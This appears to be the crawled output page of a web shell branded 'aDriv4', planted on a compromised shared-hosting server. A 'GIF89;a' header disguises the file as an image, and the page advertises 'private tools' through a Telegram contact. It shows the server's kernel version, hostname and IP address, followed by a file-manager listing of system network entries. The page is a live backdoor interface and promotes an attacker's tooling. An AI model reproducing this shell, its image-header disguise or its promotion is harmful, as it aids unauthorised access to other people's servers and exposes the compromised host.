GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux host35.registrar-servers.com 4.18.0-553.47.1.lve.el8.x86_64 #1 SMP Tue Apr 8 13:54:31 UTC 2025 x86_64
 Apache
 162.213.255.16
Name Type Size Owner/Group Permission Last Modified Actions
. dir - gemscircle/gemscircle 0555 2026-01-14 09:58:53
.. dir - gemscircle/gemscircle 0555 2026-01-14 09:58:53
bonding dir - root/root 0555 2026-01-14 09:58:53
dev_snmp6 dir - root/root 0555 2026-01-14 09:58:53
netfilter dir - root/root 0555 2026-01-14 09:58:53
nfsfs dir - root/root 0555 2026-01-14 09:58:53
rpc dir - root/root 0555 2026-01-14 09:58:53
stat dir - root/root 0555 2026-01-14 09:58:53
vlan dir - root/root 0555 2026-01-14 09:58:53
anycast6 application/x-empty 0 B root/root 0444 2026-01-14 09:58:53
arp text/plain 0 B root/root 0444 2026-01-14 09:58:53
connector text/plain 0 B root/root 0444 2026-01-14 09:58:53
dev text/plain 0 B root/root 0444 2026-01-14 09:58:53
dev_mcast text/plain 0 B root/root 0444 2026-01-14 09:58:53
fib_trie text/plain 0 B root/root 0444 2026-01-14 09:58:53
fib_triestat text/plain 0 B root/root 0444 2026-01-14 09:58:53
icmp text/plain 0 B root/root 0444 2026-01-14 09:58:53
icmp6 text/plain 0 B root/root 0444 2026-01-14 09:58:53
if_inet6 text/plain 0 B root/root 0444 2026-01-14 09:58:53
igmp text/plain 0 B root/root 0444 2026-01-14 09:58:53
igmp6 text/plain 0 B root/root 0444 2026-01-14 09:58:53
ip6_flowlabel text/plain 0 B root/root 0444 2026-01-14 09:58:53
ip6_mr_cache text/plain 0 B root/root 0444 2026-01-14 09:58:53
ip6_mr_vif text/plain 0 B root/root 0444 2026-01-14 09:58:53
ip_mr_cache text/plain 0 B root/root 0444 2026-01-14 09:58:53
ip_mr_vif text/plain 0 B root/root 0444 2026-01-14 09:58:53
ip_tables_matches 0 B root/root 0440 2026-01-14 09:58:53
ip_tables_names 0 B root/root 0440 2026-01-14 09:58:53
ip_tables_targets 0 B root/root 0440 2026-01-14 09:58:53
ipv6_route text/plain 0 B root/root 0444 2026-01-14 09:58:53
mcfilter text/plain 0 B root/root 0444 2026-01-14 09:58:53
mcfilter6 text/plain 0 B root/root 0444 2026-01-14 09:58:53
netlink text/plain 0 B root/root 0444 2026-01-14 09:58:53
netstat text/plain 0 B root/root 0444 2026-01-14 09:58:53
nf_conntrack 0 B root/root 0440 2026-01-14 09:58:54
nf_conntrack_expect 0 B root/root 0440 2026-01-14 09:58:54
packet text/plain 0 B root/root 0444 2026-01-14 09:58:54
protocols text/plain 0 B root/root 0444 2026-01-14 09:58:54
psched text/plain 0 B root/root 0444 2026-01-14 09:58:53
ptype text/plain 0 B root/root 0444 2026-01-14 09:58:54
raw text/plain 0 B root/root 0444 2026-01-14 09:58:54
raw6 text/plain 0 B root/root 0444 2026-01-14 09:58:54
route text/plain 0 B root/root 0444 2026-01-14 09:58:54
rt6_stats text/plain 0 B root/root 0444 2026-01-14 09:58:54
rt_acct application/octet-stream 0 B root/root 0444 2026-01-14 09:58:53
rt_cache text/plain 0 B root/root 0444 2026-01-14 09:58:53
snmp text/plain 0 B root/root 0444 2026-01-14 09:58:54
snmp6 text/plain 0 B root/root 0444 2026-01-14 09:58:54
sockstat text/plain 0 B root/root 0444 2026-01-14 09:58:54
sockstat6 text/plain 0 B root/root 0444 2026-01-14 09:58:54
softnet_stat text/plain 0 B root/root 0444 2026-01-14 09:58:53
tcp text/plain 0 B root/root 0444 2026-01-14 09:58:54
tcp6 text/plain 0 B root/root 0444 2026-01-14 09:58:54
tls_stat text/plain 0 B root/root 0444 2026-01-14 09:58:54
udp text/plain 0 B root/root 0444 2026-01-14 09:58:54
udp6 text/plain 0 B root/root 0444 2026-01-14 09:58:54
udplite text/plain 0 B root/root 0444 2026-01-14 09:58:54
udplite6 text/plain 0 B root/root 0444 2026-01-14 09:58:54
unix text/plain 0 B root/root 0444 2026-01-14 09:58:54
xfrm_stat text/plain 0 B root/root 0444 2026-01-14 09:58:54
© aDriv4